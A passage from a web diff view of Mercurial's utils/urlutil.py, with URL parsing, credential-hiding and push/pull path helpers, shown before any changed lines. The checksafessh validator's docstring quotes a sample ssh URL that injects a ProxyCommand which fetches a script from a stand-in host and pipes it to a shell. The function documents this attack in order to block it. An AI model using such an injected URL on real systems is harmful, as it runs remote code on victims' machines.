##// END OF EJS Templates
cleanup: drop `path.pushloc` deprecated since 6.5...
marmoute -
r52029:591845f8 default
parent child Browse files
Show More
@@ -1,981 +1,973 b''
1 # utils.urlutil - code related to [paths] management
1 # utils.urlutil - code related to [paths] management
2 #
2 #
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
3 # Copyright 2005-2023 Olivia Mackall <olivia@selenic.com> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7 import os
7 import os
8 import re as remod
8 import re as remod
9 import socket
9 import socket
10
10
11 from ..i18n import _
11 from ..i18n import _
12 from .. import (
12 from .. import (
13 encoding,
13 encoding,
14 error,
14 error,
15 pycompat,
15 pycompat,
16 urllibcompat,
16 urllibcompat,
17 util,
17 util,
18 )
18 )
19
19
20 from . import (
20 from . import (
21 stringutil,
21 stringutil,
22 )
22 )
23
23
24 from ..revlogutils import (
24 from ..revlogutils import (
25 constants as revlog_constants,
25 constants as revlog_constants,
26 )
26 )
27
27
28
28
29 if pycompat.TYPE_CHECKING:
29 if pycompat.TYPE_CHECKING:
30 from typing import (
30 from typing import (
31 Union,
31 Union,
32 )
32 )
33
33
34 urlreq = urllibcompat.urlreq
34 urlreq = urllibcompat.urlreq
35
35
36
36
37 def getport(port):
37 def getport(port):
38 # type: (Union[bytes, int]) -> int
38 # type: (Union[bytes, int]) -> int
39 """Return the port for a given network service.
39 """Return the port for a given network service.
40
40
41 If port is an integer, it's returned as is. If it's a string, it's
41 If port is an integer, it's returned as is. If it's a string, it's
42 looked up using socket.getservbyname(). If there's no matching
42 looked up using socket.getservbyname(). If there's no matching
43 service, error.Abort is raised.
43 service, error.Abort is raised.
44 """
44 """
45 try:
45 try:
46 return int(port)
46 return int(port)
47 except ValueError:
47 except ValueError:
48 pass
48 pass
49
49
50 try:
50 try:
51 return socket.getservbyname(pycompat.sysstr(port))
51 return socket.getservbyname(pycompat.sysstr(port))
52 except socket.error:
52 except socket.error:
53 raise error.Abort(
53 raise error.Abort(
54 _(b"no port number associated with service '%s'") % port
54 _(b"no port number associated with service '%s'") % port
55 )
55 )
56
56
57
57
58 class url:
58 class url:
59 r"""Reliable URL parser.
59 r"""Reliable URL parser.
60
60
61 This parses URLs and provides attributes for the following
61 This parses URLs and provides attributes for the following
62 components:
62 components:
63
63
64 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
64 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
65
65
66 Missing components are set to None. The only exception is
66 Missing components are set to None. The only exception is
67 fragment, which is set to '' if present but empty.
67 fragment, which is set to '' if present but empty.
68
68
69 If parsefragment is False, fragment is included in query. If
69 If parsefragment is False, fragment is included in query. If
70 parsequery is False, query is included in path. If both are
70 parsequery is False, query is included in path. If both are
71 False, both fragment and query are included in path.
71 False, both fragment and query are included in path.
72
72
73 See http://www.ietf.org/rfc/rfc2396.txt for more information.
73 See http://www.ietf.org/rfc/rfc2396.txt for more information.
74
74
75 Note that for backward compatibility reasons, bundle URLs do not
75 Note that for backward compatibility reasons, bundle URLs do not
76 take host names. That means 'bundle://../' has a path of '../'.
76 take host names. That means 'bundle://../' has a path of '../'.
77
77
78 Examples:
78 Examples:
79
79
80 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
80 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
81 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
82 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 >>> url(b'ssh://[::1]:2200//home/joe/repo')
83 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
84 >>> url(b'file:///home/joe/repo')
84 >>> url(b'file:///home/joe/repo')
85 <url scheme: 'file', path: '/home/joe/repo'>
85 <url scheme: 'file', path: '/home/joe/repo'>
86 >>> url(b'file:///c:/temp/foo/')
86 >>> url(b'file:///c:/temp/foo/')
87 <url scheme: 'file', path: 'c:/temp/foo/'>
87 <url scheme: 'file', path: 'c:/temp/foo/'>
88 >>> url(b'bundle:foo')
88 >>> url(b'bundle:foo')
89 <url scheme: 'bundle', path: 'foo'>
89 <url scheme: 'bundle', path: 'foo'>
90 >>> url(b'bundle://../foo')
90 >>> url(b'bundle://../foo')
91 <url scheme: 'bundle', path: '../foo'>
91 <url scheme: 'bundle', path: '../foo'>
92 >>> url(br'c:\foo\bar')
92 >>> url(br'c:\foo\bar')
93 <url path: 'c:\\foo\\bar'>
93 <url path: 'c:\\foo\\bar'>
94 >>> url(br'\\blah\blah\blah')
94 >>> url(br'\\blah\blah\blah')
95 <url path: '\\\\blah\\blah\\blah'>
95 <url path: '\\\\blah\\blah\\blah'>
96 >>> url(br'\\blah\blah\blah#baz')
96 >>> url(br'\\blah\blah\blah#baz')
97 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
98 >>> url(br'file:///C:\users\me')
98 >>> url(br'file:///C:\users\me')
99 <url scheme: 'file', path: 'C:\\users\\me'>
99 <url scheme: 'file', path: 'C:\\users\\me'>
100
100
101 Authentication credentials:
101 Authentication credentials:
102
102
103 >>> url(b'ssh://joe:xyz@x/repo')
103 >>> url(b'ssh://joe:xyz@x/repo')
104 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
105 >>> url(b'ssh://joe@x/repo')
105 >>> url(b'ssh://joe@x/repo')
106 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
107
107
108 Query strings and fragments:
108 Query strings and fragments:
109
109
110 >>> url(b'http://host/a?b#c')
110 >>> url(b'http://host/a?b#c')
111 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
112 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
113 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113 <url scheme: 'http', host: 'host', path: 'a?b#c'>
114
114
115 Empty path:
115 Empty path:
116
116
117 >>> url(b'')
117 >>> url(b'')
118 <url path: ''>
118 <url path: ''>
119 >>> url(b'#a')
119 >>> url(b'#a')
120 <url path: '', fragment: 'a'>
120 <url path: '', fragment: 'a'>
121 >>> url(b'http://host/')
121 >>> url(b'http://host/')
122 <url scheme: 'http', host: 'host', path: ''>
122 <url scheme: 'http', host: 'host', path: ''>
123 >>> url(b'http://host/#a')
123 >>> url(b'http://host/#a')
124 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
125
125
126 Only scheme:
126 Only scheme:
127
127
128 >>> url(b'http:')
128 >>> url(b'http:')
129 <url scheme: 'http'>
129 <url scheme: 'http'>
130 """
130 """
131
131
132 _safechars = b"!~*'()+"
132 _safechars = b"!~*'()+"
133 _safepchars = b"/!~*'()+:\\"
133 _safepchars = b"/!~*'()+:\\"
134 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
135
135
136 def __init__(self, path, parsequery=True, parsefragment=True):
136 def __init__(self, path, parsequery=True, parsefragment=True):
137 # type: (bytes, bool, bool) -> None
137 # type: (bytes, bool, bool) -> None
138 # We slowly chomp away at path until we have only the path left
138 # We slowly chomp away at path until we have only the path left
139 self.scheme = self.user = self.passwd = self.host = None
139 self.scheme = self.user = self.passwd = self.host = None
140 self.port = self.path = self.query = self.fragment = None
140 self.port = self.path = self.query = self.fragment = None
141 self._localpath = True
141 self._localpath = True
142 self._hostport = b''
142 self._hostport = b''
143 self._origpath = path
143 self._origpath = path
144
144
145 if parsefragment and b'#' in path:
145 if parsefragment and b'#' in path:
146 path, self.fragment = path.split(b'#', 1)
146 path, self.fragment = path.split(b'#', 1)
147
147
148 # special case for Windows drive letters and UNC paths
148 # special case for Windows drive letters and UNC paths
149 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 if hasdriveletter(path) or path.startswith(b'\\\\'):
150 self.path = path
150 self.path = path
151 return
151 return
152
152
153 # For compatibility reasons, we can't handle bundle paths as
153 # For compatibility reasons, we can't handle bundle paths as
154 # normal URLS
154 # normal URLS
155 if path.startswith(b'bundle:'):
155 if path.startswith(b'bundle:'):
156 self.scheme = b'bundle'
156 self.scheme = b'bundle'
157 path = path[7:]
157 path = path[7:]
158 if path.startswith(b'//'):
158 if path.startswith(b'//'):
159 path = path[2:]
159 path = path[2:]
160 self.path = path
160 self.path = path
161 return
161 return
162
162
163 if self._matchscheme(path):
163 if self._matchscheme(path):
164 parts = path.split(b':', 1)
164 parts = path.split(b':', 1)
165 if parts[0]:
165 if parts[0]:
166 self.scheme, path = parts
166 self.scheme, path = parts
167 self._localpath = False
167 self._localpath = False
168
168
169 if not path:
169 if not path:
170 path = None
170 path = None
171 if self._localpath:
171 if self._localpath:
172 self.path = b''
172 self.path = b''
173 return
173 return
174 else:
174 else:
175 if self._localpath:
175 if self._localpath:
176 self.path = path
176 self.path = path
177 return
177 return
178
178
179 if parsequery and b'?' in path:
179 if parsequery and b'?' in path:
180 path, self.query = path.split(b'?', 1)
180 path, self.query = path.split(b'?', 1)
181 if not path:
181 if not path:
182 path = None
182 path = None
183 if not self.query:
183 if not self.query:
184 self.query = None
184 self.query = None
185
185
186 # // is required to specify a host/authority
186 # // is required to specify a host/authority
187 if path and path.startswith(b'//'):
187 if path and path.startswith(b'//'):
188 parts = path[2:].split(b'/', 1)
188 parts = path[2:].split(b'/', 1)
189 if len(parts) > 1:
189 if len(parts) > 1:
190 self.host, path = parts
190 self.host, path = parts
191 else:
191 else:
192 self.host = parts[0]
192 self.host = parts[0]
193 path = None
193 path = None
194 if not self.host:
194 if not self.host:
195 self.host = None
195 self.host = None
196 # path of file:///d is /d
196 # path of file:///d is /d
197 # path of file:///d:/ is d:/, not /d:/
197 # path of file:///d:/ is d:/, not /d:/
198 if path and not hasdriveletter(path):
198 if path and not hasdriveletter(path):
199 path = b'/' + path
199 path = b'/' + path
200
200
201 if self.host and b'@' in self.host:
201 if self.host and b'@' in self.host:
202 self.user, self.host = self.host.rsplit(b'@', 1)
202 self.user, self.host = self.host.rsplit(b'@', 1)
203 if b':' in self.user:
203 if b':' in self.user:
204 self.user, self.passwd = self.user.split(b':', 1)
204 self.user, self.passwd = self.user.split(b':', 1)
205 if not self.host:
205 if not self.host:
206 self.host = None
206 self.host = None
207
207
208 # Don't split on colons in IPv6 addresses without ports
208 # Don't split on colons in IPv6 addresses without ports
209 if (
209 if (
210 self.host
210 self.host
211 and b':' in self.host
211 and b':' in self.host
212 and not (
212 and not (
213 self.host.startswith(b'[') and self.host.endswith(b']')
213 self.host.startswith(b'[') and self.host.endswith(b']')
214 )
214 )
215 ):
215 ):
216 self._hostport = self.host
216 self._hostport = self.host
217 self.host, self.port = self.host.rsplit(b':', 1)
217 self.host, self.port = self.host.rsplit(b':', 1)
218 if not self.host:
218 if not self.host:
219 self.host = None
219 self.host = None
220
220
221 if (
221 if (
222 self.host
222 self.host
223 and self.scheme == b'file'
223 and self.scheme == b'file'
224 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
225 ):
225 ):
226 raise error.Abort(
226 raise error.Abort(
227 _(b'file:// URLs can only refer to localhost')
227 _(b'file:// URLs can only refer to localhost')
228 )
228 )
229
229
230 self.path = path
230 self.path = path
231
231
232 # leave the query string escaped
232 # leave the query string escaped
233 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
233 for a in ('user', 'passwd', 'host', 'port', 'path', 'fragment'):
234 v = getattr(self, a)
234 v = getattr(self, a)
235 if v is not None:
235 if v is not None:
236 setattr(self, a, urlreq.unquote(v))
236 setattr(self, a, urlreq.unquote(v))
237
237
238 def copy(self):
238 def copy(self):
239 u = url(b'temporary useless value')
239 u = url(b'temporary useless value')
240 u.path = self.path
240 u.path = self.path
241 u.scheme = self.scheme
241 u.scheme = self.scheme
242 u.user = self.user
242 u.user = self.user
243 u.passwd = self.passwd
243 u.passwd = self.passwd
244 u.host = self.host
244 u.host = self.host
245 u.port = self.port
245 u.port = self.port
246 u.query = self.query
246 u.query = self.query
247 u.fragment = self.fragment
247 u.fragment = self.fragment
248 u._localpath = self._localpath
248 u._localpath = self._localpath
249 u._hostport = self._hostport
249 u._hostport = self._hostport
250 u._origpath = self._origpath
250 u._origpath = self._origpath
251 return u
251 return u
252
252
253 @encoding.strmethod
253 @encoding.strmethod
254 def __repr__(self):
254 def __repr__(self):
255 attrs = []
255 attrs = []
256 for a in (
256 for a in (
257 'scheme',
257 'scheme',
258 'user',
258 'user',
259 'passwd',
259 'passwd',
260 'host',
260 'host',
261 'port',
261 'port',
262 'path',
262 'path',
263 'query',
263 'query',
264 'fragment',
264 'fragment',
265 ):
265 ):
266 v = getattr(self, a)
266 v = getattr(self, a)
267 if v is not None:
267 if v is not None:
268 line = b'%s: %r'
268 line = b'%s: %r'
269 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
269 line %= (pycompat.bytestr(a), pycompat.bytestr(v))
270 attrs.append(line)
270 attrs.append(line)
271 return b'<url %s>' % b', '.join(attrs)
271 return b'<url %s>' % b', '.join(attrs)
272
272
273 def __bytes__(self):
273 def __bytes__(self):
274 r"""Join the URL's components back into a URL string.
274 r"""Join the URL's components back into a URL string.
275
275
276 Examples:
276 Examples:
277
277
278 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
278 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
279 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
279 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
280 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
280 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
281 'http://user:pw@host:80/?foo=bar&baz=42'
281 'http://user:pw@host:80/?foo=bar&baz=42'
282 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
282 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
283 'http://user:pw@host:80/?foo=bar%3dbaz'
283 'http://user:pw@host:80/?foo=bar%3dbaz'
284 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
284 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
285 'ssh://user:pw@[::1]:2200//home/joe#'
285 'ssh://user:pw@[::1]:2200//home/joe#'
286 >>> bytes(url(b'http://localhost:80//'))
286 >>> bytes(url(b'http://localhost:80//'))
287 'http://localhost:80//'
287 'http://localhost:80//'
288 >>> bytes(url(b'http://localhost:80/'))
288 >>> bytes(url(b'http://localhost:80/'))
289 'http://localhost:80/'
289 'http://localhost:80/'
290 >>> bytes(url(b'http://localhost:80'))
290 >>> bytes(url(b'http://localhost:80'))
291 'http://localhost:80/'
291 'http://localhost:80/'
292 >>> bytes(url(b'bundle:foo'))
292 >>> bytes(url(b'bundle:foo'))
293 'bundle:foo'
293 'bundle:foo'
294 >>> bytes(url(b'bundle://../foo'))
294 >>> bytes(url(b'bundle://../foo'))
295 'bundle:../foo'
295 'bundle:../foo'
296 >>> bytes(url(b'path'))
296 >>> bytes(url(b'path'))
297 'path'
297 'path'
298 >>> bytes(url(b'file:///tmp/foo/bar'))
298 >>> bytes(url(b'file:///tmp/foo/bar'))
299 'file:///tmp/foo/bar'
299 'file:///tmp/foo/bar'
300 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
300 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
301 'file:///c:/tmp/foo/bar'
301 'file:///c:/tmp/foo/bar'
302 >>> print(url(br'bundle:foo\bar'))
302 >>> print(url(br'bundle:foo\bar'))
303 bundle:foo\bar
303 bundle:foo\bar
304 >>> print(url(br'file:///D:\data\hg'))
304 >>> print(url(br'file:///D:\data\hg'))
305 file:///D:\data\hg
305 file:///D:\data\hg
306 """
306 """
307 if self._localpath:
307 if self._localpath:
308 s = self.path
308 s = self.path
309 if self.scheme == b'bundle':
309 if self.scheme == b'bundle':
310 s = b'bundle:' + s
310 s = b'bundle:' + s
311 if self.fragment:
311 if self.fragment:
312 s += b'#' + self.fragment
312 s += b'#' + self.fragment
313 return s
313 return s
314
314
315 s = self.scheme + b':'
315 s = self.scheme + b':'
316 if self.user or self.passwd or self.host:
316 if self.user or self.passwd or self.host:
317 s += b'//'
317 s += b'//'
318 elif self.scheme and (
318 elif self.scheme and (
319 not self.path
319 not self.path
320 or self.path.startswith(b'/')
320 or self.path.startswith(b'/')
321 or hasdriveletter(self.path)
321 or hasdriveletter(self.path)
322 ):
322 ):
323 s += b'//'
323 s += b'//'
324 if hasdriveletter(self.path):
324 if hasdriveletter(self.path):
325 s += b'/'
325 s += b'/'
326 if self.user:
326 if self.user:
327 s += urlreq.quote(self.user, safe=self._safechars)
327 s += urlreq.quote(self.user, safe=self._safechars)
328 if self.passwd:
328 if self.passwd:
329 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
329 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
330 if self.user or self.passwd:
330 if self.user or self.passwd:
331 s += b'@'
331 s += b'@'
332 if self.host:
332 if self.host:
333 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
333 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
334 s += urlreq.quote(self.host)
334 s += urlreq.quote(self.host)
335 else:
335 else:
336 s += self.host
336 s += self.host
337 if self.port:
337 if self.port:
338 s += b':' + urlreq.quote(self.port)
338 s += b':' + urlreq.quote(self.port)
339 if self.host:
339 if self.host:
340 s += b'/'
340 s += b'/'
341 if self.path:
341 if self.path:
342 # TODO: similar to the query string, we should not unescape the
342 # TODO: similar to the query string, we should not unescape the
343 # path when we store it, the path might contain '%2f' = '/',
343 # path when we store it, the path might contain '%2f' = '/',
344 # which we should *not* escape.
344 # which we should *not* escape.
345 s += urlreq.quote(self.path, safe=self._safepchars)
345 s += urlreq.quote(self.path, safe=self._safepchars)
346 if self.query:
346 if self.query:
347 # we store the query in escaped form.
347 # we store the query in escaped form.
348 s += b'?' + self.query
348 s += b'?' + self.query
349 if self.fragment is not None:
349 if self.fragment is not None:
350 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
350 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
351 return s
351 return s
352
352
353 __str__ = encoding.strmethod(__bytes__)
353 __str__ = encoding.strmethod(__bytes__)
354
354
355 def authinfo(self):
355 def authinfo(self):
356 user, passwd = self.user, self.passwd
356 user, passwd = self.user, self.passwd
357 try:
357 try:
358 self.user, self.passwd = None, None
358 self.user, self.passwd = None, None
359 s = bytes(self)
359 s = bytes(self)
360 finally:
360 finally:
361 self.user, self.passwd = user, passwd
361 self.user, self.passwd = user, passwd
362 if not self.user:
362 if not self.user:
363 return (s, None)
363 return (s, None)
364 # authinfo[1] is passed to urllib2 password manager, and its
364 # authinfo[1] is passed to urllib2 password manager, and its
365 # URIs must not contain credentials. The host is passed in the
365 # URIs must not contain credentials. The host is passed in the
366 # URIs list because Python < 2.4.3 uses only that to search for
366 # URIs list because Python < 2.4.3 uses only that to search for
367 # a password.
367 # a password.
368 return (s, (None, (s, self.host), self.user, self.passwd or b''))
368 return (s, (None, (s, self.host), self.user, self.passwd or b''))
369
369
370 def isabs(self):
370 def isabs(self):
371 if self.scheme and self.scheme != b'file':
371 if self.scheme and self.scheme != b'file':
372 return True # remote URL
372 return True # remote URL
373 if hasdriveletter(self.path):
373 if hasdriveletter(self.path):
374 return True # absolute for our purposes - can't be joined()
374 return True # absolute for our purposes - can't be joined()
375 if self.path.startswith(br'\\'):
375 if self.path.startswith(br'\\'):
376 return True # Windows UNC path
376 return True # Windows UNC path
377 if self.path.startswith(b'/'):
377 if self.path.startswith(b'/'):
378 return True # POSIX-style
378 return True # POSIX-style
379 return False
379 return False
380
380
381 def localpath(self):
381 def localpath(self):
382 # type: () -> bytes
382 # type: () -> bytes
383 if self.scheme == b'file' or self.scheme == b'bundle':
383 if self.scheme == b'file' or self.scheme == b'bundle':
384 path = self.path or b'/'
384 path = self.path or b'/'
385 # For Windows, we need to promote hosts containing drive
385 # For Windows, we need to promote hosts containing drive
386 # letters to paths with drive letters.
386 # letters to paths with drive letters.
387 if hasdriveletter(self._hostport):
387 if hasdriveletter(self._hostport):
388 path = self._hostport + b'/' + self.path
388 path = self._hostport + b'/' + self.path
389 elif (
389 elif (
390 self.host is not None and self.path and not hasdriveletter(path)
390 self.host is not None and self.path and not hasdriveletter(path)
391 ):
391 ):
392 path = b'/' + path
392 path = b'/' + path
393 return path
393 return path
394 return self._origpath
394 return self._origpath
395
395
396 def islocal(self):
396 def islocal(self):
397 '''whether localpath will return something that posixfile can open'''
397 '''whether localpath will return something that posixfile can open'''
398 return (
398 return (
399 not self.scheme
399 not self.scheme
400 or self.scheme == b'file'
400 or self.scheme == b'file'
401 or self.scheme == b'bundle'
401 or self.scheme == b'bundle'
402 )
402 )
403
403
404
404
405 def hasscheme(path):
405 def hasscheme(path):
406 # type: (bytes) -> bool
406 # type: (bytes) -> bool
407 return bool(url(path).scheme) # cast to help pytype
407 return bool(url(path).scheme) # cast to help pytype
408
408
409
409
410 def hasdriveletter(path):
410 def hasdriveletter(path):
411 # type: (bytes) -> bool
411 # type: (bytes) -> bool
412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
412 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
413
413
414
414
415 def urllocalpath(path):
415 def urllocalpath(path):
416 # type: (bytes) -> bytes
416 # type: (bytes) -> bytes
417 return url(path, parsequery=False, parsefragment=False).localpath()
417 return url(path, parsequery=False, parsefragment=False).localpath()
418
418
419
419
420 def checksafessh(path):
420 def checksafessh(path):
421 # type: (bytes) -> None
421 # type: (bytes) -> None
422 """check if a path / url is a potentially unsafe ssh exploit (SEC)
422 """check if a path / url is a potentially unsafe ssh exploit (SEC)
423
423
424 This is a sanity check for ssh urls. ssh will parse the first item as
424 This is a sanity check for ssh urls. ssh will parse the first item as
425 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
425 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
426 Let's prevent these potentially exploited urls entirely and warn the
426 Let's prevent these potentially exploited urls entirely and warn the
427 user.
427 user.
428
428
429 Raises an error.Abort when the url is unsafe.
429 Raises an error.Abort when the url is unsafe.
430 """
430 """
431 path = urlreq.unquote(path)
431 path = urlreq.unquote(path)
432 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
432 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
433 raise error.Abort(
433 raise error.Abort(
434 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
434 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
435 )
435 )
436
436
437
437
438 def hidepassword(u):
438 def hidepassword(u):
439 # type: (bytes) -> bytes
439 # type: (bytes) -> bytes
440 '''hide user credential in a url string'''
440 '''hide user credential in a url string'''
441 u = url(u)
441 u = url(u)
442 if u.passwd:
442 if u.passwd:
443 u.passwd = b'***'
443 u.passwd = b'***'
444 return bytes(u)
444 return bytes(u)
445
445
446
446
447 def removeauth(u):
447 def removeauth(u):
448 # type: (bytes) -> bytes
448 # type: (bytes) -> bytes
449 '''remove all authentication information from a url string'''
449 '''remove all authentication information from a url string'''
450 u = url(u)
450 u = url(u)
451 u.user = u.passwd = None
451 u.user = u.passwd = None
452 return bytes(u)
452 return bytes(u)
453
453
454
454
455 def list_paths(ui, target_path=None):
455 def list_paths(ui, target_path=None):
456 """list all the (name, paths) in the passed ui"""
456 """list all the (name, paths) in the passed ui"""
457 result = []
457 result = []
458 if target_path is None:
458 if target_path is None:
459 for name, paths in sorted(ui.paths.items()):
459 for name, paths in sorted(ui.paths.items()):
460 for p in paths:
460 for p in paths:
461 result.append((name, p))
461 result.append((name, p))
462
462
463 else:
463 else:
464 for path in ui.paths.get(target_path, []):
464 for path in ui.paths.get(target_path, []):
465 result.append((target_path, path))
465 result.append((target_path, path))
466 return result
466 return result
467
467
468
468
469 def try_path(ui, url):
469 def try_path(ui, url):
470 """try to build a path from a url
470 """try to build a path from a url
471
471
472 Return None if no Path could built.
472 Return None if no Path could built.
473 """
473 """
474 try:
474 try:
475 # we pass the ui instance are warning might need to be issued
475 # we pass the ui instance are warning might need to be issued
476 return path(ui, None, rawloc=url)
476 return path(ui, None, rawloc=url)
477 except ValueError:
477 except ValueError:
478 return None
478 return None
479
479
480
480
481 def get_push_paths(repo, ui, dests):
481 def get_push_paths(repo, ui, dests):
482 """yields all the `path` selected as push destination by `dests`"""
482 """yields all the `path` selected as push destination by `dests`"""
483 if not dests:
483 if not dests:
484 if b'default-push' in ui.paths:
484 if b'default-push' in ui.paths:
485 for p in ui.paths[b'default-push']:
485 for p in ui.paths[b'default-push']:
486 yield p.get_push_variant()
486 yield p.get_push_variant()
487 elif b'default' in ui.paths:
487 elif b'default' in ui.paths:
488 for p in ui.paths[b'default']:
488 for p in ui.paths[b'default']:
489 yield p.get_push_variant()
489 yield p.get_push_variant()
490 else:
490 else:
491 raise error.ConfigError(
491 raise error.ConfigError(
492 _(b'default repository not configured!'),
492 _(b'default repository not configured!'),
493 hint=_(b"see 'hg help config.paths'"),
493 hint=_(b"see 'hg help config.paths'"),
494 )
494 )
495 else:
495 else:
496 for dest in dests:
496 for dest in dests:
497 if dest in ui.paths:
497 if dest in ui.paths:
498 for p in ui.paths[dest]:
498 for p in ui.paths[dest]:
499 yield p.get_push_variant()
499 yield p.get_push_variant()
500 else:
500 else:
501 path = try_path(ui, dest)
501 path = try_path(ui, dest)
502 if path is None:
502 if path is None:
503 msg = _(b'repository %s does not exist')
503 msg = _(b'repository %s does not exist')
504 msg %= dest
504 msg %= dest
505 raise error.RepoError(msg)
505 raise error.RepoError(msg)
506 yield path.get_push_variant()
506 yield path.get_push_variant()
507
507
508
508
509 def get_pull_paths(repo, ui, sources):
509 def get_pull_paths(repo, ui, sources):
510 """yields all the `(path, branch)` selected as pull source by `sources`"""
510 """yields all the `(path, branch)` selected as pull source by `sources`"""
511 if not sources:
511 if not sources:
512 sources = [b'default']
512 sources = [b'default']
513 for source in sources:
513 for source in sources:
514 if source in ui.paths:
514 if source in ui.paths:
515 for p in ui.paths[source]:
515 for p in ui.paths[source]:
516 yield p
516 yield p
517 else:
517 else:
518 p = path(ui, None, source, validate_path=False)
518 p = path(ui, None, source, validate_path=False)
519 yield p
519 yield p
520
520
521
521
522 def get_unique_push_path(action, repo, ui, dest=None):
522 def get_unique_push_path(action, repo, ui, dest=None):
523 """return a unique `path` or abort if multiple are found
523 """return a unique `path` or abort if multiple are found
524
524
525 This is useful for command and action that does not support multiple
525 This is useful for command and action that does not support multiple
526 destination (yet).
526 destination (yet).
527
527
528 The `action` parameter will be used for the error message.
528 The `action` parameter will be used for the error message.
529 """
529 """
530 if dest is None:
530 if dest is None:
531 dests = []
531 dests = []
532 else:
532 else:
533 dests = [dest]
533 dests = [dest]
534 dests = list(get_push_paths(repo, ui, dests))
534 dests = list(get_push_paths(repo, ui, dests))
535 if len(dests) != 1:
535 if len(dests) != 1:
536 if dest is None:
536 if dest is None:
537 msg = _(
537 msg = _(
538 b"default path points to %d urls while %s only supports one"
538 b"default path points to %d urls while %s only supports one"
539 )
539 )
540 msg %= (len(dests), action)
540 msg %= (len(dests), action)
541 else:
541 else:
542 msg = _(b"path points to %d urls while %s only supports one: %s")
542 msg = _(b"path points to %d urls while %s only supports one: %s")
543 msg %= (len(dests), action, dest)
543 msg %= (len(dests), action, dest)
544 raise error.Abort(msg)
544 raise error.Abort(msg)
545 return dests[0]
545 return dests[0]
546
546
547
547
548 def get_unique_pull_path_obj(action, ui, source=None):
548 def get_unique_pull_path_obj(action, ui, source=None):
549 """return a unique `(path, branch)` or abort if multiple are found
549 """return a unique `(path, branch)` or abort if multiple are found
550
550
551 This is useful for command and action that does not support multiple
551 This is useful for command and action that does not support multiple
552 destination (yet).
552 destination (yet).
553
553
554 The `action` parameter will be used for the error message.
554 The `action` parameter will be used for the error message.
555
555
556 note: Ideally, this function would be called `get_unique_pull_path` to
556 note: Ideally, this function would be called `get_unique_pull_path` to
557 mirror the `get_unique_push_path`, but the name was already taken.
557 mirror the `get_unique_push_path`, but the name was already taken.
558 """
558 """
559 sources = []
559 sources = []
560 if source is not None:
560 if source is not None:
561 sources.append(source)
561 sources.append(source)
562
562
563 pull_paths = list(get_pull_paths(None, ui, sources=sources))
563 pull_paths = list(get_pull_paths(None, ui, sources=sources))
564 path_count = len(pull_paths)
564 path_count = len(pull_paths)
565 if path_count != 1:
565 if path_count != 1:
566 if source is None:
566 if source is None:
567 msg = _(
567 msg = _(
568 b"default path points to %d urls while %s only supports one"
568 b"default path points to %d urls while %s only supports one"
569 )
569 )
570 msg %= (path_count, action)
570 msg %= (path_count, action)
571 else:
571 else:
572 msg = _(b"path points to %d urls while %s only supports one: %s")
572 msg = _(b"path points to %d urls while %s only supports one: %s")
573 msg %= (path_count, action, source)
573 msg %= (path_count, action, source)
574 raise error.Abort(msg)
